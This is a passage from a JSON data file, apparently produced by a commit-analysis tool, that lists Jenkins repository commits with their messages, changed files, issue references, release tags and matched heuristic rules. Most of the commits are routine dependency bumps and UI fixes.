38, + "message": "Update dependency stylelint to v16.1.0 (#8804) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8804": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8804", + "relevance": 2 + } + ] + }, + { + "commit_id": "ee7ec9f430f778a9a0447e55c2119f6a961d8170", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1703809305, + "hunks": 4, + "message": "Update dependency sass-loader to v13.3.3 (#8808) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8808": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8808", + "relevance": 2 + } + ] + }, + { + "commit_id": "5ab5ad07e9847ec89bc708fff64cb6391144268f", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1703527454, + "hunks": 1, + "message": "Bump io.jenkins.plugins:plugin-util-api from 3.6.0 to 3.8.0 (#8801) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8801": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8801", + "relevance": 2 + } + ] + }, + { + "commit_id": "48da635be22e4e01d71d62a957f3b4c0803a64de", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1703514113, + "hunks": 3, + "message": "[JENKINS-71965] fix timezone in build history (#8800) * [JENKINS-71965] fix timezone in build history the timezone shown was always the daylight saving time when the users selected timezone has daylight saving. The change will now consider the actual timestamp of the build to determine if it was in daylight saving time to properly calculate the timezone to show. * make locale aware", + "changed_files": [ + "core/src/main/java/hudson/Functions.java", + "core/src/main/resources/hudson/widgets/HistoryWidget/entry.jelly" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8800": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8800", + "relevance": 2 + } + ] + }, + { + "commit_id": "df03159afe15788eb74bced96ce7b44dfc70788c", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1703375389, + "hunks": 7, + "message": "Restore JCasC compatibility for `JNLPLauncher.tunnel` (#8793) * Restore JCasC compatibility for `JNLPLauncher.tunnel` * Also removing `@Deprecated` on fields & getters", + "changed_files": [ + "core/src/main/java/hudson/slaves/JNLPLauncher.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8793": "[JENKINS-73011] Round-trip JNLPLauncher.tunnel to null not \"\" #9170" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8793", + "relevance": 2 + } + ] + }, + { + "commit_id": "400d5e4ce4440e159436828d7fe45dd51269592a", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1703278251, + "hunks": 10, + "message": "Remove last usages of .bigtable (#8797)", + "changed_files": [ + "core/src/main/resources/hudson/triggers/SCMTrigger/DescriptorImpl/index.jelly", + "core/src/main/resources/jenkins/diagnosis/HsErrPidList/index.jelly" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8797": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8797", + "relevance": 2 + } + ] + }, + { + "commit_id": "43ecf083657d0a8fc85a14f85fc70a4555eb9277", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1703197374, + "hunks": 6, + "message": "Update dependency eslint to v8.56.0 (#8789) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8789": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8789", + "relevance": 2 + } + ] + }, + { + "commit_id": "8115f23fffac6ac4beda0b58572421b6485c7725", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1703197311, + "hunks": 1, + "message": "Bump com.google.guava:guava from 32.1.3-jre to 33.0.0-jre (#8792) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "bom/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8792": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8792", + "relevance": 2 + } + ] + }, + { + "commit_id": "7018b14cc3f23c9415f1397ea6da22a7be280255", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1703197236, + "hunks": 1, + "message": "Bump org.jenkins-ci.plugins:matrix-project from 818.v7eb_e657db_924 to 822.v01b_8c85d16d2 (#8796) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8796": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8796", + "relevance": 2 + } + ] + }, + { + "commit_id": "01c42a3dca39592e20f728ea8f19c67484004d07", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1703108722, + "hunks": 7, + "message": "Update the appearance of the stop button (#8780) * Init * Fixes * Update executors.jelly * Update _buttons.scss * Fix i18n * Tidy up * Fix test * Temporary fast build CI build is too unreliable and I just want an incrementals... * Revert \"Temporary fast build\" This reverts commit 28df8398f3e1a0a82adae7db692b8946a2e281b7. --------- Co-authored-by: Tim Jacomb Co-authored-by: Alexander Brandes ", + "changed_files": [ + "core/src/main/resources/hudson/widgets/HistoryWidget/entry.jelly", + "core/src/main/resources/lib/hudson/buildCaption.jelly", + "core/src/main/resources/lib/hudson/buildCaption.properties", + "core/src/main/resources/lib/hudson/executors.properties", + "core/src/main/resources/lib/layout/stopButton.jelly", + "war/src/main/scss/components/_buttons.scss" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8780": "test stop button jenkinsci/acceptance-test-harness#1447" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8780", + "relevance": 2 + } + ] + }, + { + "commit_id": "3a1ac2cb44fd806ab92a01f6674fbe46e24d4a0c", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1703108691, + "hunks": 7, + "message": "Use Jenkins modal for 'Apply' button failures (#8394) * Init * Linting * Test fixes * Switch to dialog for simple error case --------- Co-authored-by: Tim Jacomb ", + "changed_files": [ + "core/src/main/resources/jenkins/model/Jenkins/oops.properties", + "core/src/main/resources/lib/form/apply/apply.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8394": "Test core/8394 jenkinsci/acceptance-test-harness#1338 yui-panels are not themeable jenkinsci/dark-theme-plugin#142 Forward compatibility for use Jenkins modal for 'Apply' button failures jenkinsci/acceptance-test-harness#1446" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8394", + "relevance": 2 + } + ] + }, + { + "commit_id": "cf81b9cf935896615ff244f6d349a244f875dbff", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702971523, + "hunks": 11, + "message": "Restyle widget panes (#8761) * Init * Update _style.scss * Remove more bold weights * Lower weight * Tweak widths * Fix spacing --------- Co-authored-by: Alexander Brandes Co-authored-by: Tim Jacomb ", + "changed_files": [ + "war/src/main/scss/abstracts/_theme.scss", + "war/src/main/scss/base/_style.scss", + "war/src/main/scss/components/_panes-and-bigtable.scss", + "war/src/main/scss/components/_side-panel-widgets.scss" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8761": "Update the appearance of the stop button #8780" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8761", + "relevance": 2 + } + ] + }, + { + "commit_id": "7a2e389f0d8d1e0f2b894f5fdfba1568bc153305", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702838935, + "hunks": 1, + "message": "Update jenkins/ath Docker tag to v5770 (#8786) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "ath.sh" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8786": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8786", + "relevance": 2 + } + ] + }, + { + "commit_id": "3f1880179c7476e23a9d6dd9c8ad8f8ef336cae6", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702716457, + "hunks": 7, + "message": "EOL `Global-Mask-Classes` (#8785)", + "changed_files": [ + "core/src/main/java/hudson/ClassicPluginStrategy.java", + "core/src/main/java/hudson/util/MaskingClassLoader.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8785": "Remove reference to globalMaskClasses jenkins-infra/jenkins.io#6956 Remove globalMaskClasses jenkinsci/maven-hpi-plugin#563" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8785", + "relevance": 2 + } + ] + }, + { + "commit_id": "c4b9e81b609bf88f7fe051215ffed15d0a6a7e27", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702670462, + "hunks": 39, + "message": "Update babel monorepo to v7.23.6 (#8782) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8782": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + 